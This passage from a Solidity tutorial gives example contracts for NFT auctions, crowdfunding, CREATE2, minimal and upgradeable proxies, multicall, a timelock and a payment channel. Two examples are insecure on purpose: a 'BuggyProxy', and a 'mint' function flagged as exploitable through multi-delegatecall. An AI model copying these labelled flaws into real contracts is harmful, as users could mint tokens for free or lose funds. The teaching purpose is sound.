1. Highest bidder becomes the new owner of NFT.
2. The seller receives the highest bid of ETH.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC721 {
    function safeTransferFrom(address from, address to, uint256 tokenId)
        external;
    function transferFrom(address, address, uint256) external;
}

contract EnglishAuction {
    event Start();
    event Bid(address indexed sender, uint256 amount);
    event Withdraw(address indexed bidder, uint256 amount);
    event End(address winner, uint256 amount);

    IERC721 public nft;
    uint256 public nftId;

    address payable public seller;
    uint256 public endAt;
    bool public started;
    bool public ended;

    address public highestBidder;
    uint256 public highestBid;
    mapping(address => uint256) public bids;

    constructor(address _nft, uint256 _nftId, uint256 _startingBid) {
        nft = IERC721(_nft);
        nftId = _nftId;

        seller = payable(msg.sender);
        highestBid = _startingBid;
    }

    function start() external {
        require(!started, "started");
        require(msg.sender == seller, "not seller");
```

```
        nft.transferFrom(msg.sender, address(this), nftId);
        started = true;
        endAt = block.timestamp + 7 days;

        emit Start();
    }

    function bid() external payable {
        require(started, "not started");
        require(block.timestamp < endAt, "ended");
        require(msg.value > highestBid, "value < highest");

        if (highestBidder != address(0)) {
            bids[highestBidder] += highestBid;
        }

        highestBidder = msg.sender;
        highestBid = msg.value;

        emit Bid(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 bal = bids[msg.sender];
        bids[msg.sender] = 0;
        payable(msg.sender).transfer(bal);

        emit Withdraw(msg.sender, bal);
    }

    function end() external {
        require(started, "not started");
        require(block.timestamp >= endAt, "not ended");
        require(!ended, "ended");

        ended = true;
        if (highestBidder != address(0)) {
            nft.safeTransferFrom(address(this), highestBidder, nftId);
            seller.transfer(highestBid);
        } else {
            nft.safeTransferFrom(address(this), seller, nftId);
        }

        emit End(highestBidder, highestBid);
    }
}
```

2.9 Dutch Auction

An example of Dutch auction in Solidity

Dutch auction for NFT.

Auction

1. Seller of NFT deploys this contract setting a starting price for the NFT.
2. Auction lasts for 7 days.
3. Price of NFT decreases over time.
4. Participants can buy by depositing ETH greater than the current price computed by the smart contract.
5. Auction ends when a buyer buys the NFT.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC721 {
    function transferFrom(address _from, address _to, uint256 _nftId)
        external;
}

contract DutchAuction {
    uint256 private constant DURATION = 7 days;

    IERC721 public immutable nft;
    uint256 public immutable nftId;

    address payable public immutable seller;
    uint256 public immutable startingPrice;
    uint256 public immutable startAt;
    uint256 public immutable expiresAt;
    uint256 public immutable discountRate;

    constructor(
        uint256 _startingPrice,
        uint256 _discountRate,
        address _nft,
        uint256 _nftId
    ) {
        seller = payable(msg.sender);
        startingPrice = _startingPrice;
        startAt = block.timestamp;
        expiresAt = block.timestamp + DURATION;
        discountRate = _discountRate;

        require(
            _startingPrice >= _discountRate * DURATION, "starting price < min"
        );

        nft = IERC721(_nft);
        nftId = _nftId;
    }

    function getPrice() public view returns (uint256) {
        uint256 timeElapsed = block.timestamp - startAt;
        uint256 discount = discountRate * timeElapsed;
```

```
        return startingPrice - discount;
    }

    function buy() external payable {
        require(block.timestamp < expiresAt, "auction expired");

        uint256 price = getPrice();
        require(msg.value >= price, "ETH < price");

        nft.transferFrom(seller, msg.sender, nftId);
        uint256 refund = msg.value - price;
        if (refund > 0) {
            payable(msg.sender).transfer(refund);
        }
        selfdestruct(seller);
    }
}
```

2.10 Crowd Fund

An example of crowdfunding contract

Crowd fund ERC20 token

1. User creates a campaign.
2. Users can pledge, transferring their token to a campaign.
3. After the campaign ends, campaign creator can claim the funds if total amount pledged is more than the campaign goal.
4. Otherwise, campaign did not reach its goal, users can withdraw their pledge.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20 {
    function transfer(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
}

contract CrowdFund {
    event Launch(
        uint256 id,
        address indexed creator,
        uint256 goal,
        uint32 startAt,
        uint32 endAt
    );
    event Cancel(uint256 id);
    event Pledge(uint256 indexed id, address indexed caller, uint256 amount);
    event Unpledge(uint256 indexed id, address indexed caller, uint256 amount);
    event Claim(uint256 id);
    event Refund(uint256 id, address indexed caller, uint256 amount);

    struct Campaign {
        // Creator of campaign
        address creator;
        // Amount of tokens to raise
        uint256 goal;
        // Total amount pledged
        uint256 pledged;
        // Timestamp of start of campaign
        uint32 startAt;
        // Timestamp of end of campaign
        uint32 endAt;
        // True if goal was reached and creator has claimed the tokens.
        bool claimed;
    }

    IERC20 public immutable token;
    // Total count of campaigns created.
    // It is also used to generate id for new campaigns.
    uint256 public count;
    // Mapping from id to Campaign
    mapping(uint256 => Campaign) public campaigns;
    // Mapping from campaign id => pledger => amount pledged
    mapping(uint256 => mapping(address => uint256)) public pledgedAmount;
```

```
    constructor(address _token) {
        token = IERC20(_token);
    }

    function launch(uint256 _goal, uint32 _startAt, uint32 _endAt) external {
        require(_startAt >= block.timestamp, "start at < now");
        require(_endAt >= _startAt, "end at < start at");
        require(_endAt <= block.timestamp + 90 days, "end at > max duration");

        count += 1;
        campaigns[count] = Campaign({
            creator: msg.sender,
            goal: _goal,
            pledged: 0,
            startAt: _startAt,
            endAt: _endAt,
            claimed: false
        });

        emit Launch(count, msg.sender, _goal, _startAt, _endAt);
    }

    function cancel(uint256 _id) external {
        Campaign memory campaign = campaigns[_id];
        require(campaign.creator == msg.sender, "not creator");
        require(block.timestamp < campaign.startAt, "started");

        delete campaigns[_id];
        emit Cancel(_id);
    }

    function pledge(uint256 _id, uint256 _amount) external {
        Campaign storage campaign = campaigns[_id];
        require(block.timestamp >= campaign.startAt, "not started");
        require(block.timestamp <= campaign.endAt, "ended");

        campaign.pledged += _amount;
        pledgedAmount[_id][msg.sender] += _amount;
        token.transferFrom(msg.sender, address(this), _amount);

        emit Pledge(_id, msg.sender, _amount);
    }

    function unpledge(uint256 _id, uint256 _amount) external {
        Campaign storage campaign = campaigns[_id];
        require(block.timestamp <= campaign.endAt, "ended");

        campaign.pledged -= _amount;
        pledgedAmount[_id][msg.sender] -= _amount;
        token.transfer(msg.sender, _amount);

        emit Unpledge(_id, msg.sender, _amount);
    }

    function claim(uint256 _id) external {
        Campaign storage campaign = campaigns[_id];
        require(campaign.creator == msg.sender, "not creator");
        require(block.timestamp > campaign.endAt, "not ended");
        require(campaign.pledged >= campaign.goal, "pledged < goal");
        require(!campaign.claimed, "claimed");

        campaign.claimed = true;
        token.transfer(campaign.creator, campaign.pledged);
```

```
        emit Claim(_id);
    }

    function refund(uint256 _id) external {
        Campaign memory campaign = campaigns[_id];
        require(block.timestamp > campaign.endAt, "not ended");
        require(campaign.pledged < campaign.goal, "pledged >= goal");

        uint256 bal = pledgedAmount[_id][msg.sender];
        pledgedAmount[_id][msg.sender] = 0;
        token.transfer(msg.sender, bal);

        emit Refund(_id, msg.sender, bal);
    }
}
```

2.11 Precompute Contract Address with Create2

Precompute contract address with create2

Contract address can be precomputed, before the contract is deployed, using `create2`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Factory {
    // Returns the address of the newly deployed contract
    function deploy(address _owner, uint256 _foo, bytes32 _salt)
        public
        payable
        returns (address)
    {
        // This syntax is a newer way to invoke create2 without assembly, you just need to pass salt
        // https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2
        return address(new TestContract{salt: _salt}(_owner, _foo));
    }
}

// This is the older way of doing it using assembly
contract FactoryAssembly {
    event Deployed(address addr, uint256 salt);

    // 1. Get bytecode of contract to be deployed
    // NOTE: _owner and _foo are arguments of the TestContract's constructor
    function getBytecode(address _owner, uint256 _foo)
        public
        pure
        returns (bytes memory)
    {
        bytes memory bytecode = type(TestContract).creationCode;

        return abi.encodePacked(bytecode, abi.encode(_owner, _foo));
    }

    // 2. Compute the address of the contract to be deployed
    // NOTE: _salt is a random number used to create an address
    function getAddress(bytes memory bytecode, uint256 _salt)
        public
        view
        returns (address)
    {
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff), address(this), _salt, keccak256(bytecode)
            )
        );

        // NOTE: cast last 20 bytes of hash to address
        return address(uint160(uint256(hash)));
    }

    // 3. Deploy the contract
    // NOTE:
    // Check the event log Deployed which contains the address of the deployed TestContract.
    // The address in the log should equal the address computed from above.
    function deploy(bytes memory bytecode, uint256 _salt) public payable {
```

```
        address addr;

        /*
        NOTE: How to call create2

        create2(v, p, n, s)
        create new contract with code at memory p to p + n
        and send v wei
        and return the new address
        where new address = first 20 bytes of keccak256(0xff + address(this) + s + keccak256(mem[p…(p+n)))
              s = big-endian 256-bit value
        */
        assembly {
            addr :=
                create2(
                    callvalue(), // wei sent with current call
                    // Actual code starts after skipping the first 32 bytes
                    add(bytecode, 0x20),
                    mload(bytecode), // Load the size of code contained in the first 32 bytes
                    _salt // Salt from function arguments
                )

            if iszero(extcodesize(addr)) { revert(0, 0) }
        }

        emit Deployed(addr, _salt);
    }
}

contract TestContract {
    address public owner;
    uint256 public foo;

    constructor(address _owner, uint256 _foo) payable {
        owner = _owner;
        foo = _foo;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

Explanation:

- `CREATE2` lets you deploy a contract to a deterministic address computed as: `keccak256(0xff ++ deployer ++ salt ++ keccak256(bytecode))`.
- The address is known before deployment, enabling counterfactual instantiation (e.g., state channels, factory patterns).
- Changing the salt produces a different address from the same bytecode.
- `selfdestruct` followed by re-deploying to the same address with different bytecode is a known attack vector — a contract can "change" its code at a fixed address.
- Used heavily in Uniswap V2 pair factories, Aave, and most major DeFi for deterministic pool addresses.

2.12 Minimal Proxy Contract

Deploy contracts cheaply with minimal proxy contract

If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// original code
// https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol

contract MinimalProxy {
    function clone(address target) external returns (address result) {
        // convert address to 20 bytes
        bytes20 targetBytes = bytes20(target);

        // actual code //
        // 3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57

        // creation code //
        // copy runtime code into memory and return it
        // 3d602d80600a3d3981f3

        // runtime code //
        // code to delegatecall to address
        // 363d3d373d3d3d363d73 address 5af43d82803e903d91602b57fd5bf3

        assembly {
            /*
            reads the 32 bytes of memory starting at pointer stored in 0x40

            In solidity, the 0x40 slot in memory is special: it contains the "free memory pointer"
            which points to the end of the currently allocated memory.
            */
            let clone := mload(0x40)
            // store 32 bytes to memory starting at "clone"
            mstore(
                clone,
                0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
            )

            /*
              |              20 bytes                |
            0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
                                                     ^
                                                     pointer
            */
            // store 32 bytes to memory starting at "clone" + 20 bytes
            // 0x14 = 20
            mstore(add(clone, 0x14), targetBytes)

            /*
              |               20 bytes               |                 20 bytes              |
            0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe
                                                                                              ^
                                                                                              pointer
            */
            // store 32 bytes to memory starting at "clone" + 40 bytes
            // 0x28 = 40
```

```
            mstore(
                add(clone, 0x28),
                0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
            )

            /*
              |               20 bytes               |                 20 bytes              |           15 bytes
            0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b
            */
            // create new contract
            // send 0 Ether
            // code starts at pointer stored in "clone"
            // code size 0x37 (55 bytes)
            result := create(0, clone, 0x37)
        }
    }
}
```

Explanation:

- EIP-1167 (minimal proxy / clone factory) deploys ultra-cheap proxy clones that `delegatecall` to a single implementation contract.
- The proxy bytecode is only 45 bytes; deployment cost is ~$0.01 vs hundreds of dollars for a full contract.
- The implementation address is hardcoded into the minimal proxy bytecode at deploy time.
- All calls to the clone are forwarded via `delegatecall` — state is in the clone, logic in the implementation.
- OpenZeppelin's `Clones` library provides `clone(implementation)` and `cloneDeterministic(implementation, salt)`.
- Limitation: the implementation cannot be upgraded after the clone is deployed (no admin slot like EIP-1967).

2.13 Upgradeable Proxy

Example of upgradeable proxy

Example of upgradeable proxy contract. Never use this in production.

This example shows

- how to use `delegatecall` and return data when `fallback` is called.
- how to store addresses of `admin` and `implementation` in a specific slot.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
```

```
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not a contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
```

```
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }
```

```
    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
```

```
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
```

Explanation:

- The upgradeable proxy pattern separates storage (proxy) from logic (implementation) so logic can be swapped without changing the contract address.
- The proxy uses `delegatecall` to forward all calls to the implementation — the implementation's code runs in the proxy's storage context.
- EIP-1967 defines standard storage slots for the implementation address and admin to avoid slot collisions with implementation variables.
- The "transparent proxy" pattern (used here) restricts the admin from calling implementation functions, preventing selector clashing.
- `_fallback` in the proxy reads the implementation slot and `delegatecall`s to it.
- **Critical gotcha:** never initialize state in an implementation constructor — use an `initialize` function protected by an `Initializable` guard instead.

2.14 Deploy Any Contract

Deploy Any Contract

Deploy any contract by calling `Proxy.deploy(bytes memory _code)`

For this example, you can get the contract bytecodes by calling `Helper.getBytecode1` and `Helper.getBytecode2`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Proxy {
    event Deploy(address);

    receive() external payable {}

    function deploy(bytes memory _code)
        external
        payable
        returns (address addr)
    {
        assembly {
            // create(v, p, n)
            // v = amount of ETH to send
            // p = pointer in memory to start of code
            // n = size of code
            addr := create(callvalue(), add(_code, 0x20), mload(_code))
        }
        // return address 0 on error
        require(addr != address(0), "deploy failed");

        emit Deploy(addr);
    }

    function execute(address _target, bytes memory _data) external payable {
        (bool success,) = _target.call{value: msg.value}(_data);
        require(success, "failed");
    }
}

contract TestContract1 {
    address public owner = msg.sender;

    function setOwner(address _owner) public {
        require(msg.sender == owner, "not owner");
        owner = _owner;
    }
}

contract TestContract2 {
    address public owner = msg.sender;
    uint256 public value = msg.value;
    uint256 public x;
    uint256 public y;

    constructor(uint256 _x, uint256 _y) payable {
        x = _x;
        y = _y;
```

```
    }
}

contract Helper {
    function getBytecode1() external pure returns (bytes memory) {
        bytes memory bytecode = type(TestContract1).creationCode;
        return bytecode;
    }

    function getBytecode2(uint256 _x, uint256 _y)
        external
        pure
        returns (bytes memory)
    {
        bytes memory bytecode = type(TestContract2).creationCode;
        return abi.encodePacked(bytecode, abi.encode(_x, _y));
    }

    function getCalldata(address _owner) external pure returns (bytes memory) {
        return abi.encodeWithSignature("setOwner(address)", _owner);
    }
}
```

2.15 Multi Call

An example of contract to aggregate multiple calls.

An example of contract that aggregates multiple queries using a `for` loop and `staticcall`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract MultiCall {
    function multiCall(address[] calldata targets, bytes[] calldata data)
        external
        view
        returns (bytes[] memory)
    {
        require(targets.length == data.length, "target length != data length");

        bytes[] memory results = new bytes[](data.length);

        for (uint256 i; i < targets.length; i++) {
            (bool success, bytes memory result) = targets[i].staticcall(data[i]);
            require(success, "call failed");
            results[i] = result;
        }

        return results;
    }
}
```

Contract to test `MultiCall`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract TestMultiCall {
    function test(uint256 _i) external pure returns (uint256) {
        return _i;
    }

    function getData(uint256 _i) external pure returns (bytes memory) {
        return abi.encodeWithSelector(this.test.selector, _i);
    }
}
```

2.16 Multi Delegatecall

An example of contract to call multiple functions in a single transaction

An example of calling multiple functions with a single transaction, using `delegatecall`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract MultiDelegatecall {
    error DelegatecallFailed();

    function multiDelegatecall(bytes[] memory data)
        external
        payable
        returns (bytes[] memory results)
    {
        results = new bytes[](data.length);

        for (uint256 i; i < data.length; i++) {
            (bool ok, bytes memory res) = address(this).delegatecall(data[i]);
            if (!ok) {
                revert DelegatecallFailed();
            }
            results[i] = res;
        }
    }
}

// Why use multi delegatecall? Why not multi call?
// alice -> multi call --- call ---> test (msg.sender = multi call)
// alice -> test --- delegatecall ---> test (msg.sender = alice)
contract TestMultiDelegatecall is MultiDelegatecall {
    event Log(address caller, string func, uint256 i);

    function func1(uint256 x, uint256 y) external {
        // msg.sender = alice
        emit Log(msg.sender, "func1", x + y);
    }

    function func2() external returns (uint256) {
        // msg.sender = alice
        emit Log(msg.sender, "func2", 2);
        return 111;
    }

    mapping(address => uint256) public balanceOf;

    // WARNING: unsafe code when used in combination with multi-delegatecall
    // user can mint multiple times for the price of msg.value
    function mint() external payable {
        balanceOf[msg.sender] += msg.value;
    }
}

contract Helper {
    function getFunc1Data(uint256 x, uint256 y)
        external
        pure
        returns (bytes memory)
```

```
    {
        return
            abi.encodeWithSelector(TestMultiDelegatecall.func1.selector, x, y);
    }

    function getFunc2Data() external pure returns (bytes memory) {
        return abi.encodeWithSelector(TestMultiDelegatecall.func2.selector);
    }

    function getMintData() external pure returns (bytes memory) {
        return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
    }
}
```

2.17 Time Lock

Time Lock

`TimeLock` is a contract that publishes a transaction to be executed in the future. After a minimum waiting period, the transaction can be executed.

`TimeLock`s are commonly used in DAOs.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract TimeLock {
    error NotOwnerError();
    error AlreadyQueuedError(bytes32 txId);
    error TimestampNotInRangeError(uint256 blockTimestamp, uint256 timestamp);
    error NotQueuedError(bytes32 txId);
    error TimestampNotPassedError(uint256 blockTimestamp, uint256 timestamp);
    error TimestampExpiredError(uint256 blockTimestamp, uint256 expiresAt);
    error TxFailedError();

    event Queue(
        bytes32 indexed txId,
        address indexed target,
        uint256 value,
        string func,
        bytes data,
        uint256 timestamp
    );
    event Execute(
        bytes32 indexed txId,
        address indexed target,
        uint256 value,
        string func,
        bytes data,
        uint256 timestamp
    );
    event Cancel(bytes32 indexed txId);

    uint256 public constant MIN_DELAY = 10; // seconds
    uint256 public constant MAX_DELAY = 1000; // seconds
    uint256 public constant GRACE_PERIOD = 1000; // seconds

    address public owner;
    // tx id => queued
    mapping(bytes32 => bool) public queued;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert NotOwnerError();
        }
        _;
    }

    receive() external payable {}
```

```
    function getTxId(
        address _target,
        uint256 _value,
        string calldata _func,
        bytes calldata _data,
        uint256 _timestamp
    ) public pure returns (bytes32) {
        return keccak256(abi.encode(_target, _value, _func, _data, _timestamp));
    }

    /**
     * @param _target Address of contract or account to call
     * @param _value Amount of ETH to send
     * @param _func Function signature, for example "foo(address,uint256)"
     * @param _data ABI encoded data send.
     * @param _timestamp Timestamp after which the transaction can be executed.
     */
    function queue(
        address _target,
        uint256 _value,
        string calldata _func,
        bytes calldata _data,
        uint256 _timestamp
    ) external onlyOwner returns (bytes32 txId) {
        txId = getTxId(_target, _value, _func, _data, _timestamp);
        if (queued[txId]) {
            revert AlreadyQueuedError(txId);
        }
        // ---|------------|---------------|-------
        //  block    block + min     block + max
        if (
            _timestamp < block.timestamp + MIN_DELAY
                || _timestamp > block.timestamp + MAX_DELAY
        ) {
            revert TimestampNotInRangeError(block.timestamp, _timestamp);
        }

        queued[txId] = true;

        emit Queue(txId, _target, _value, _func, _data, _timestamp);
    }

    function execute(
        address _target,
        uint256 _value,
        string calldata _func,
        bytes calldata _data,
        uint256 _timestamp
    ) external payable onlyOwner returns (bytes memory) {
        bytes32 txId = getTxId(_target, _value, _func, _data, _timestamp);
        if (!queued[txId]) {
            revert NotQueuedError(txId);
        }
        // ----|-------------------|-------
        //  timestamp    timestamp + grace period
        if (block.timestamp < _timestamp) {
            revert TimestampNotPassedError(block.timestamp, _timestamp);
        }
        if (block.timestamp > _timestamp + GRACE_PERIOD) {
            revert TimestampExpiredError(
                block.timestamp, _timestamp + GRACE_PERIOD
            );
```

```
        }

        queued[txId] = false;

        // prepare data
        bytes memory data;
        if (bytes(_func).length > 0) {
            // data = func selector + _data
            data = abi.encodePacked(bytes4(keccak256(bytes(_func))), _data);
        } else {
            // call fallback with data
            data = _data;
        }

        // call target
        (bool ok, bytes memory res) = _target.call{value: _value}(data);
        if (!ok) {
            revert TxFailedError();
        }

        emit Execute(txId, _target, _value, _func, _data, _timestamp);

        return res;
    }

    function cancel(bytes32 _txId) external onlyOwner {
        if (!queued[_txId]) {
            revert NotQueuedError(_txId);
        }

        queued[_txId] = false;

        emit Cancel(_txId);
    }
}
```

2.18 Uni-Directional Payment Channel

An example of uni-directional payment channels in Solidity

Payment channels allow participants to repeatedly transfer Ether off chain.

Here is how this contract is used:

- `Alice` deploys the contract, funding it with some Ether.
- `Alice` authorizes a payment by signing a message (off chain) and sends the signature to `Bob`.
- `Bob` claims his payment by presenting the signed message to the smart contract.
- If `Bob` does not claim his payment, `Alice` gets her Ether back after the contract expires

This is called a uni-directional payment channel since the payment can go only in a single direction from `Alice` to `Bob`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ECDSA.sol";

contract ReentrancyGuard {
    bool private locked;

    modifier guard() {
        require(!locked);
        locked = true;
        _;
        locked = false;
    }
}

contract UniDirectionalPaymentChannel is ReentrancyGuard {
    using ECDSA for bytes32;

    address payable public sender;
    address payable public receiver;

    uint256 private constant DURATION = 7 * 24 * 60 * 60;
    uint256 public expiresAt;

    constructor(address payable _receiver) payable {
        require(_receiver != address(0), "receiver = zero address");
        sender = payable(msg.sender);
        receiver = _receiver;
        expiresAt = block.timestamp + DURATION;
    }

    function _getHash(uint256 _amount) private view returns (bytes32) {
        // NOTE: sign with address of this contract to protect against
        // replay attack on other contracts
        return keccak256(abi.encodePacked(address(this), _amount));
    }

    function getHash(uint256 _amount) external view returns (bytes32) {
        return _getHash(_amount);
    }
```

```
    function _getEthSignedHash(uint256 _amount)
        private
        view
        returns (bytes32)
    {
        return _getHash(_amount).toEthSignedMessageHash();
    }

    function getEthSignedHash(uint256 _amount)
        external
        view
        returns (bytes32)
    {
        return _getEthSignedHash(_amount);
    }

    function _verify(uint256 _amount, bytes memory _sig)
        private
        view
        returns (bool)
    {
        return _getEthSignedHash(_amount).recover(_sig) == sender;
    }

    function verify(uint256 _amount, bytes memory _sig)
        external
        view
        returns (bool)
    {
        return _verify(_amount, _sig);
    }

    function close(uint256 _amount, bytes memory _sig) external guard {
        require(msg.sender == receiver, "!receiver");
        require(_verify(_amount, _sig), "invalid sig");

        (bool sent,) = receiver.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        selfdestruct(sender);
    }

    function cancel() external {
        require(msg.sender == sender, "!sender");
        require(block.timestamp >= expiresAt, "!expired");
        selfdestruct(sender);
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV
    }
```

```
    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        } else if (error == RecoverError.InvalidSignatureV) {
            revert("ECDSA: invalid signature 'v' value");
        }
    }

    function tryRecover(bytes32 hash, bytes memory signature)
        internal
        pure
        returns (address, RecoverError)
    {
        // Check the signature length
        // - case 65: r,s,v signature (standard)
        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else if (signature.length == 64) {
            bytes32 r;
            bytes32 vs;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                vs := mload(add(signature, 0x40))
            }
            return tryRecover(hash, r, vs);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    function recover(bytes32 hash, bytes memory signature)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs)
        internal
        pure
```

```
        returns (address, RecoverError)
    {
        bytes32 s = vs
            & bytes32(
                0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
            );
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }

    function recover(bytes32 hash, bytes32 r, bytes32 vs)
        internal
        pure
        returns (address)
